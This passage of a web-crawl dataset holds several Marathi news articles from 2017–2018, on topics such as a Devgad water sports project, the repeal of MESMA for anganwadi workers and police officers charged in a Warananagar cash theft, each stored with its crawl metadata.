आणि सौ. अपर्णा थोरात यांना कै. आप्पासाहेब ब्रह्मनाळकर आदर्श पालक पुरस्कार, तर संदीप जाधव आणि प्रसाद बारटक्के यांचा कै. राजेंद्र पाटील स्मृती पुरस्कार देऊन सत्कार करण्यात आला. शाळीग्राम खातू आणि सौ. प्रतिभा खातू यांचा यांचाही सत्कार करण्यात आला.\nडॉ. सौ. स्मितादेवी जाधव म्हणाल्या, आपण सारे प्रवासी असून ईश्‍वराकडून आपले इच्छित स्थळ ठरविले जाते. जीवन हे संघर्ष असून प्रत्येक क्षण आनंदी जगणे हेच खरे जीवन आहे. विद्यार्थ्यांनी सादर केलेल्या कलाविष्काराने सर्वांनाच पे्ररणा मिळाली आहे. या मुलांचे शिक्षक आणि पालक यांचे खरे कष्ट असून या दोघांचेही कौतुक करावे तेवढे थोडे आहे.\nकार्यक्रमास संस्थेचे अध्यक्ष नरेश बगरे, उपाध्यक्ष डॉ. सुनील पाटील, कार्यकारी अध्यक्ष पवन खेबुडकर, सचिव दिलीप बापट कृष्णात चौगले, यांच्यासह नागरिक मोठ्या संख्येने उपस्थित होते. सौ. उज्ज्वला खेबुडकर यांनी स्वागत व प्रस्ताविक केले. मुख्याध्यापिका सौ. संध्या इनामदार यांनी आभार मानले. सूत्रसंचालन सौ. सुनीता सडोलीकर यांनी केले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00417.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Konkan/Devgad-deogarh-scuba-driving-economy-issue/", "date_download": "2018-09-25T17:10:31Z", "digest": "sha1:256M75TKNRZ4PRFK3GRBG76Y4KH2DMSK", "length": 8233, "nlines": 38, "source_domain": "www.pudhari.news", "title": " स्कूबा ड्रायव्हिंग व वॉटर स्पोर्टस्मुळे देवगडचे अर्थकारण बदलेल | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Konkan › स्कूबा ड्रायव्हिंग व वॉटर स्पोर्टस्मुळे देवगडचे अर्थकारण बदलेल\nस्कूबा ड्रायव्हिंग व वॉटर स्पोर्टस्मुळे देवगडचे अर्थकारण बदलेल\nस्कूबा ड्रायव्हिंग व वॉटर स्पोर्टस प्रकल्पामुळे देवगडचे अर्थकारण बदलून जाईल, असा विश्‍वास व्यक्‍त आमदार नितेश राणे यांनी व्यक्‍त केला.या प्रकल्पानंतर 20 फेब्रुवारी रोजी देवगडमध्ये मिनी थिएटर सुरू करणार, अशी घोषणा आमदार नितेश राणे यांनी यावेळी केली. देवगड जामसंडे नगरपंचायत आणि सिंधुदुर्ग अ‍ॅडव्हेंचर यांच्या संयुक्त विद्यमाने देवगड बीच स्कूबा ड्रायव्हींग व वॉटर स्पोर्टस प्रकल्पाचा शुभारंभ आ. नितेश राणे यांच्या हस्ते करण्यात आला यावेळी ते बोलत होते.\nनगराध्यक्षा सौ.प्रियांका साळसकर, उपनगराध्यक्ष योगेश चांदोस्कर, मुख्याधिकारी परितोष कंकाळ, देवगड शहर विकास ग्रामस्थ मंडळाचे अध्यक्ष निशिकांत साटम, व्यापारी संघाचे तालुकाध्यक्ष प्रसाद पारकर, व्यापारी पर्यटन संस्थेचे अध्यक्ष हनिफ मेमन, स्वाभिमान पक्षाचे जिल्हा सरचिटणीस बाळा खडपे, तालुकाध्यक्ष संदीप साटम, डॉ.अमोल तेली, कृषी उत्पन्न बाजार समिती सभापती प्रकाश राणे, डॉ.मिलींद कुळकर्णी, डॉ.सुनिल आठवले, नगरपंचायत विरोधी गटनेते ए.वाय्.जाधव, अ‍ॅडव्हेंचर संस्थेचे संचालक विरेंद्र सावंत, वैभव दांडेकर आदी उपस्थित होते.\nआम. नितेश राणे म्हणाले, देवगडमधील जनतेने पर्यटक देवगडमध्ये येतील असे वातावरण निर्माण करण्याची गरज असून यासाठी देवगड बीच येथे सुरूवात केलेल्या स्कूबा\nड्रायव्हिंग व वॉटर स्पोर्टस प्रकल्पाप्रमाणेच आणखी प्रकल्प येथील स्थानिक तरूणांना सुरू केले पाहिजे यासाठी बँकांमार्फत आर्थिक सहाय्य मिळवून देण्यासाठी सहकार्य करू,असे आश्‍वासन दिले. येथील अर्थकारण हे आंबा, मासळी यावर अवलंबून होते मात्र निसर्गातील बदलामुळे या व्यावसायांची शाश्‍वती राहिली नाही, त्याला पर्यायी व्यवसाय म्हणून येथे पर्यटनात्मक प्रकल्प राबवून आर्थिक समृध्दीसाठी आपण हे पाऊल टाकले असून अशाप्रकारचे प्रकल्प सुरू करताना कोणाकडून नासधुस करण्याचा प्रकार यापुढे झाला तरीही मागे हटणार नाही.\nते पुन्हा सुरू करू,असे त्यांनी ठणकावून सांगीतले.मालवण तालुक्यात तारकर्लीमध्ये 8 व देवबागमध्ये 4 स्कूबा ड्रायव्हींग सेंटर आहेत देवगडमध्ये आता प्रकल्पाची सुरूवात होतेय यावरून आपण किती मागे आहोत याचा विचार करण्याची गरज असून त्यादृष्टीने येथील युवावर्गाने प्रकल्प सुरू करण्यासाठी पुढाकार घ्यावा, असे त्यांनी सांगितले.\nनिशिकांत साटम, डॉ.मिलींद कुळकर्णी, डॉ.सुनील आठवले, प्रसाद पारकर, प्रकाश राणे, संदीप साटम, ए.वाय्.जाधव यांनी विचार मांडले.प्रास्ताविक नगराध्यक्षा सौ.प्रियांका साळसकर, सूत्रसंचालन व आभार सौ.तन्वी चांदोस्कर यांनी मानले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00417.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Nashik/Jalgaon-lewa-Patil-national-society-Maha-Session-issue/", "date_download": "2018-09-25T17:29:28Z", "digest": "sha1:3BD7RPNDO4WQX7EKTUQJQPB4URDMELFH", "length": 4975, "nlines": 34, "source_domain": "www.pudhari.news", "title": " अपात्र नेते उच्च स्थानी | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Nashik › अपात्र नेते उच्च स्थानी\nअपात्र नेते उच्च स्थानी\nसंपूर्ण राज्य एकत्रित करून भारत देश निर्माण केला ते महान नेते सरदार वल्लभभाई पटेल यांची पंतप्रधान होण्याची पात्रता असूनही पंतप्रधान होऊ शकले नाहीत. तर ज्यांची पात्रता नाही असे लोक आज राजकारणात महत्त्वाच्या पदावर आहेत. तर पात्रता असणारे बाहेर असल्याची टीका माजी महसूलमंत्री एकनाथ खडसे यांनी केली. त्यांचे हे वक्‍तव्य स्वकियांचा समाचार घेणारे असल्याची चर्चा राजकीय वर्तुळात रंगली आहे. पाडळसे (ता. यावल) येथे भोरगाव लेवा पंचायतीच्या वतीने पाडळसे येथे आयोजित लेवा पाटील समाजाच्या राष्ट्रीय महाअधिवेशनात ते बोलत होते. यावेळी रमेश पाटील, माजी खासदार डॉ. उल्हास पाटील, माजी आमदार शिरीष चौधरी, महापौर ललित कोल्हे, डॉ. ए. जी. भंगाळे उपस्थित होते.\nआ. खडसे म्हणाले, पूर्वीची व आजची परिस्थिती फार काही वेगळी नाही. लेवा पाटीदार समाजाचे नेते सरदार वल्लभभाई पटेल यांच्यात भारताचे पंतप्रधान बनण्याचे गुण असताना ते त्या पदावर विराजमान होऊ शकले नाहीत. त्यांना राजकारणाच्या प्रवाहातून बाहेर करण्यात आले. संपूर्ण भारत एकत्र करण्यात त्यांनी मोलाची भूमिका बजावली तरीदेखील त्यांना पंतप्रधान होता आले नाही. मात्र, सध्या केवळ सोयीचे राजकारण सुरू आहे, असा टोलाही त्यांनी लगावला.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00417.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://www.loksatta.com/mumbai-news/decision-of-mesma-on-anganwadi-sevika-taken-back-by-cm-1649678/", "date_download": "2018-09-25T17:13:58Z", "digest": "sha1:WRDLK6Z722BNPFTK4I4LUT4A4AFGFM5R", "length": 17267, "nlines": 204, "source_domain": "www.loksatta.com", "title": "Decision of Mesma on Anganwadi Sevika taken back by CM | अंगणवाडी सेविकांवर लावण्यात आलेला ‘मेस्मा’ अखेर रद्द, मुख्यमंत्र्यांची घोषणा | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\nअंगणवाडी सेविकांवर लावण्यात आलेला ‘मेस्मा’ अखेर रद्द, मुख्यमंत्र्यांची घोषणा\nअंगणवाडी सेविकांवर लावण्यात आलेला ‘मेस्मा’ अखेर रद्द, मुख्यमंत्र्यांची घोषणा\nसभागृहाच्या भावना लक्षात घेऊन हा निर्णय घेत आहोत\nअंगणवाडी सेविकांवर लावण्यात आलेला महाराष्ट्र अत्यावश्यक सेवाच कायदा (मेस्मा) अखेर रद्द करण्यात आला आहे. मुख्यमंत्री देवेंद्र फडणवीस यांनी विधानसभेत ही माहिती दिली. सभागृहाच्या भावना लक्षात घेऊन हा निर्णय घेत असल्याचं त्यांनी यावेळी सांगितलं. विरोधकांनी मुख्यमंत्र्यांच्या निर्णयाचं स्वागत करताना हे उशिरा आलेलं शहाणपण असल्याचा टोला राष्ट्रवादी काँग्रेसचे नेते जयंत पाटील यांनी लगावला. राज्य सरकारने अंगणवाडी सेविकांवर मेस्मा लावण्याचा निर्णय जाहीर केल्यानंतर मित्रपक्ष शिवसेनेसहित विरोधकांनी टीका करण्यास सुरुवात केली होती. सभागृहातही हा विषय चांगलाच गाजला. याच मुद्द्यावरुन बुधवारी आठ वेळा सभागृहाचं कामकाज तहकूब झालं होतं.\nराज्यातील अंगणवाडी सेविकांना गेली अनेक वर्षे पाच हजार रुपये व मदतनीसांना साडेतीन हजार रुपये मानधन देण्यात येत होते. गेल्या वर्षी दोन लाख अंगणवाडी सेविकांनी २६ दिवस संप पुकारल्यानंतर सरकारने त्यांच्या मानधनात १५०० रुपये वाढ केली . त्याचप्रमाणे १ एप्रिल २०१८ पासून पाच टक्के मानधनवाढ देण्याचा निर्णय मुख्यमंत्री देवेंद्र फडणवीस यांनी जाहीर केला. तथापि पाच टक्केवाढीचा आदेश अद्यापपर्यंत काढण्यात आला नसून सरकारने अंगणवाडय़ांची संख्या कमी करण्याचा निर्णय घेतला आहे. राज्यात सध्या ९७ हजार अंगणवाडय़ा असून या अंगणवाडय़ांमधून दोन लाख अंगणवाडी सेविका व कर्मचाऱ्यांच्या माध्यमातून ० ते ६ वयोगटातील ७३ लाख बालकांना पोषण आहार दिला जातो. या दोन लाख अंगणवाडी सेविका व कर्मचारी या शासकीय सेवेत नसून केवळ तुटपुंज्या मानधनावर काम करत असताना त्यांना ‘मेस्मा’ लावण्यासाठी शासनाने १५ मार्च २०१८ रोजी जारी केलेल्या अधिसूचनेत या अंगणवाडी सेविकांना (यापुढे कर्मचारी म्हणून संबोधण्यात येईल) अशी दुरुस्तीही करण्यात आली आहे. मेस्मा लागू केल्यास त्यांना अत्यावश्यक सेवा कायद्याखाली संपावर जाता येणार नाही.\nअत्यंत तुटपुंजे मानधन, तेही वेळेवर न देणाऱ्या भाजपा सरकारने राज्यातील अंगणवाडी सेविकांच्या संपाचा धसका घेतला असून अंगणवाडी सेविकांनी संप करू नये यासाठी आता अंगणवाडी सेविका व कर्मचाऱ्यांना मेस्मा कक्षेत आणण्याचा निर्णय सरकारने घेतला होता. भाजपा सरकारची ही जुलूमशाही ब्रिटिश सरकारला लाजवेल अशी असल्याची संतप्त प्रतिक्रिया अंगणवाडी सेविकांकडून व्यक्त केली जात होती. वेळेवर मानधन न मिळणाऱ्या अंगणवाडी सेविकांची जगण्याचीच मारामार असताना ‘मेस्मा’ जाहीर करून सरकार अंगणवाडी सेविकांनाही आत्महत्येसाठी प्रवृत्त करत असल्याचा आरोप राज्य अंगणवाडी कृती समितीचे नेते एम. ए. पाटील यांनी केला होता.\nराज्यातील अंगणवाडी सेविका आणि कमर्चाऱ्यांना अत्यावश्यक सेवा कायद्याच्या (मेस्मा) कक्षेत आणण्याचा निर्णय हा त्यांच्या संप करण्याच्या हक्कावर गदा आणणारा आहे. त्यामुळे मुख्यमंत्र्यांनी मेस्मा रद्द केल्याची घोषणा केल्याशिवाय शिवसेना मागे हटणार नाही आणि सभागृहाचे कामकाजही चालू देणार नाही, असा इशारा शिवसेनेने बुधवारी दिला होता. या मुद्दय़ावर सभागृहात चर्चा करण्यास सरकार तयार आहे, अंगणवाडी कर्मचाऱ्यांच्या सर्व मागण्या सरकारने मान्य केल्या आहेत, तरीही लहान मुलांना वेठीस धरले जात असून त्यांच्या मृत्यूची जबाबदारी तुम्ही घेणार का, असा सवाल करीत महिला आणि बालविकासमंत्री पंकजा मुंडे यांनी शिवसेनेची मागणी फेटाळून लावली होती. त्यावर संतप्त झालेल्या सेना सदस्यांनी अध्यक्षांच्या आसनापर्यंत धाव घेत बॅनर फडकवत घोषणाबाजी केली. त्यामुळे सभागृहाचे कामकाज तब्बल आठ वेळा तहकूब झाले होते. विशेष म्हणजे या प्रकरणात सुरुवातीस शिवसेनेला साथ देणाऱ्या काँग्रेस- राष्ट्रवादीने नंतर मात्र अलिप्त राहण्याची भू्मिका घेतल्याने सेना- काँग्रेस सदस्यांमध्येही जोरदार खडाजंगी झाली.\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\nअभियंता तरुणीचा विनयभंग; तक्रार घेण्यास हिंजवडी पोलिसांची टाळाटाळ\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nAsia Cup 2018 Ind vs Afg Live : भारताला पहिला धक्का, रायडू माघारी\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00417.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.esakal.com/paschim-maharashtra/police-officers-robber-40452", "date_download": "2018-09-25T17:22:33Z", "digest": "sha1:3TJPN2IEWZMCX3NGTO6E7RJ4ZXNY5XBN", "length": 19444, "nlines": 178, "source_domain": "www.esakal.com", "title": "Police officers robber पोलिस अधिकारीच निघाले दरोडेखोर | eSakal", "raw_content": "\nपोलिस अधिकारीच निघाले दरोडेखोर\nसोमवार, 17 एप्रिल 2017\nवारणानगर, कोल्हापूर -वारणानगर (ता. पन्हाळा) येथील शिक्षक कॉलनीत बंद फ्लॅटमधील सुमारे सव्वानऊ कोटी रुपयांच्या रकमेवर एका पोलिस निरीक्षकासह कर्मचाऱ्यांनीच दरोडा घातल्याचा धक्कादायक प्रकार उघडकीस आला. याप्रकरणी सांगलीचे पोलिस निरीक्षक विश्‍वनाथ धनवट यांच्यासह एक सहायक पोलिस निरीक्षक, एक सहायक फौजदारासह नऊ जणांवर कोडोली पोलिस ठाण्यात गुन्हा दाखल झाला. या प्रकरणात पोलिस अधिकाऱ्यांवर संगनमताने चोरीसह अपहार असे दोन गुन्हे दाखल झाले आहेत. या घटनेने राज्यातील पोलिस दलात एकच खळबळ उडाली आहे.\nवारणानगर, कोल्हापूर -वारणानगर (ता. पन्हाळा) येथील शिक्षक कॉलनीत बंद फ्लॅटमधील सुमारे सव्वानऊ कोटी रुपयांच्या रकमेवर एका पोलिस निरीक्षकासह कर्मचाऱ्यांनीच दरोडा घातल्याचा धक्कादायक प्रकार उघडकीस आला. याप्रकरणी सांगलीचे पोलिस निरीक्षक विश्‍वनाथ धनवट यांच्यासह एक सहायक पोलिस निरीक्षक, एक सहायक फौजदारासह नऊ जणांवर कोडोली पोलिस ठाण्यात गुन्हा दाखल झाला. या प्रकरणात पोलिस अधिकाऱ्यांवर संगनमताने चोरीसह अपहार असे दोन गुन्हे दाखल झाले आहेत. या घटनेने राज्यातील पोलिस दलात एकच खळबळ उडाली आहे.\nगुन्हा दाखल झालेल्या संशयितांची नावे अशी, सांगलीचे पोलिस निरीक्षक विश्‍वनाथ घनवट, सहायक पोलिस निरीक्षक सूरज चंदनशिवे, सहायक फौजदार शरद कुरळपकर, पोलिस हेड कॉन्स्टेबल शंकर पाटील, रवींद्र पाटील, पोलिस नाईक दीपक पाटील, कुलदीप कांबळे यांच्यासह मोहिद्दीन मुल्ला (रा. बेथलनगर, सांगली) आणि प्रवीण भास्कर सावंत (रा. वासूद, सांगोला).\nयाबाबत पोलिसांनी दिलेली माहिती, वारणानगर येथे शिक्षक कॉलनीतील इमारत क्रमांक 5 मध्ये बांधकाम व्यावसायिक झुंजार माधवराव सरनोबत यांचा फ्लॅट आहे. या फ्लॅटमधून 12 मार्च 2016 रोजी मैनुद्दीन ऊर्फ मोहिद्दीन अबुबकर मुल्ला (वय 42, रा. बेथेलहेमनगर, मिरज) याने सुमारे साडेतीन कोटी रुपयांची चोरी केली. याबाबत सरनोबत यांनी कोडोली पोलिस ठाण्यात फिर्याद दाखल केली होती. पोलिसांनी चोरटा मैनुद्दीन याला अटक करून चोरीतील 3 कोटी 7 लाख 63 हजाराची रोकड जप्त केली. चौकशी दरम्यान त्यांनी मैनुद्दीन याला चौकशीसाठी पुन्हा वारणानगर येथील संबधित इमारतीत नेले. त्याठिकाणी पोलिसांना पुन्हा सुमारे दीड कोटींची रक्कम मिळून आली. ती त्यांनी जप्त केली. चौकशीत मैनुद्दीन याने चोरलेली रक्कम पोत्यातून भरून मिरजेतील घरात आणल्याची कबुली पोलिसांना दिली होती. त्यामुळे फ्लॅटमध्ये मोठ्या प्रमाणावर रक्कम असल्याचा संशय व्यक्त करण्यात आला होता. याप्रकरणी शिक्षण संस्थेतील पदाधिकाऱ्यांसह अनेकांची चौकशी स्थानिक गुन्हे अन्वेषण शाखेच्या पोलिसांनी केली होती.\nवारणानगर येथील इमारतीत कोट्यवधीची रक्कम होती. त्याचा सर्वांगीण तपास व्हावा, ती रक्कम नेमकी कोणाची आहे, याची चौकशी करून सत्य जनतेसमोर आणावे, अशी तक्रार शिवसेना जिल्हाप्रमुख संजय पवार यांनी विशेष पोलिस महानिरीक्षक विश्‍वास नांगरे-पाटील यांच्याकडे केली होती. त्या अनुषंगाने नांगरे-पाटील यांनी याप्रकरणी चौकशीचे अधिकार अपर पोलिस अधीक्षक सुहेल शर्मा यांना दिले. शर्मा यांनी या प्रकरणी गेली साडेतीन महिने तपास केला. त्यात धक्कादायक माहिती पुढे आली. झुंजार सरनोबत यांच्या मालकीच्या फ्लॅटमधून चोरीला गेलेल्या रकमेच्या तपासादरम्यान 13 मार्च 2016 रोजी सुमारे 6 कोटीची रक्कम तर 15 मार्च 2016 रोजी 3 कोटी 18 लाख अशी एकूण 9 कोटी 18 लाखांची रक्कम संगनमताने आणि अधिकाराचा गैरवापर करून खुद्द दोन पोलिस अधिकारी व पाच पोलिस कर्मचाऱ्यांनीच लाटल्याचे पुढे आले. याप्रकरणी झुंजार सरनोबत यांनी दिलेल्या फिर्यादीनुसार आज कोडोली पोलिस ठाण्यात दोन वेगवेगळे गुन्हे दाखल झाले. यात सांगली स्थानिक गुन्हे अन्वेषण शाखेचे पोलिस निरीक्षक विश्‍वनाथ धनवटसह दोन पोलिस अधिकारी, पाच कर्मचाऱ्यांसह नऊ जणांवर गुन्हा दाखल झाला. त्यांच्यावर दोन स्वतंत्र गुन्हे दाखल झाले. या सर्वांवर कलम 454, 380, 120 (ब), 166, 411सह 34 अन्वये गुन्हा दाखल करण्यात आला आहे. याबाबतचा पुढील तपास करवीर पोलिस उपअधीक्षक हर्ष पोद्दार यांच्याकडे वर्ग करण्यात आला आहे.\nवारणेतील मोठं घबाड नेमकं कोणी पळवलं\nवारणानगर येथील वारणा शिक्षण मंडळाच्या कॉलनीतील या मोठ्या चोरीच्या प्रकरणाची चर्चा राज्यभर पसरली होती. चोरी झालेल्या ठिकाणी रक्कम कोणाची आणि किती होती, हे अद्याप गुलदस्त्यात असून अनेक वेळा तिथल्या चोरीच्या रकमेचे आकडे वेगवेगळे चर्चेत आले. वर्षभरात काय तपास झाला, प्राप्तिकर व ईडीने चौकशी केली का ही रक्कम नेमकी कोणाची याची चौकशी व्हावी आणि दोषीना शिक्षा व्हावी, अशी चर्चा वारणा परिसरात असताना आत तब्बल वर्षभरानंतर फिर्यादीने पोलिसांविरुद्ध तक्रार दिल्याने या प्रकरणाला वेगळे वळण लागले आहे. या प्रकरणात विशेष पोलिस महानिरीक्षक विश्‍वास नांगरे-पाटील यांनी लक्ष घालून दोषींना शिक्षा होईल, अशा पद्धतीने तपास करावा, अशी मागणी होत आहे.\nआणखी काही मासे गळाला लागतील...\nवारणानगर येथील कोट्यवधीच्या चोरीचे प्रकरण गेले वर्षभर चर्चेत राहिले आहे. हा तपास अधिक खोलात जाऊन केल्यास या प्रकरणात आणखी काही मासे गळाला लागण्याची शक्‍यता आहे.\nअनैतिक संबंधातून खून; दोघांना जन्मठेप\nनाशिक : अनैतिक संबंधावरून दम दिल्याच्या रागातून आरोपीने साथीदाराच्या मदतीने प्रेयसीचा पती दशरथ ठमके यांचा निर्घृणपणे खून केला. त्यानंतर पुरावा...\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nपक्षीमित्रांनी दिले सातभाई पक्षाला जीवदान\nनिजामपूर-जैताणे (धुळे) : माळमाथा परिसरातील लोणखेडे (ता.साक्री) येथील जिल्हा परिषद शाळेचे प्राथमिक शिक्षक, पक्षीमित्र राकेश जाधव, गोकुळ पाटील व कढरे (...\nपशुसेवेच्या शतकी परंपरेची इंडिया रेकॉर्डकडून दखल\nसांगली - संस्थानकाळात पहिला पशुवैद्यकीय दवाखाना सुरु करणारे आणि शतकभरापुर्वी सांगलीतून पहिली पशुवैद्यक शास्त्रातील सर्जन म्हणून पदवी मिळवणारे डॉ...\nधमकीचा निरोप खुनाचा वाटून धावाधाव\nसंगमेश्वर - खुनाचा गुन्हा दाखल असलेल्या एकाने भावाला तुझे दोन्ही पाय तोडून जंगलात टाकतो, अशी धमकी दिली. घाबरलेल्या त्याच्या पत्नीने आपल्या...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00419.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.saamana.com/new-feature-for-facebook-app/", "date_download": "2018-09-25T16:38:41Z", "digest": "sha1:5GFSLTDC5JVKGKDAD3OLYVBFOPBP5RVU", "length": 15925, "nlines": 257, "source_domain": "www.saamana.com", "title": "फेसबुकचं युजर्ससाठी नवीन फीचर | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\n20 ऑक्टोबर पासून गाळपाचा शुभारंभ; बीड जिल्ह्यात सात कारखाने सज्ज\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : हिंदुस्थानसमोर 253 धावांचे आव्हान\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली 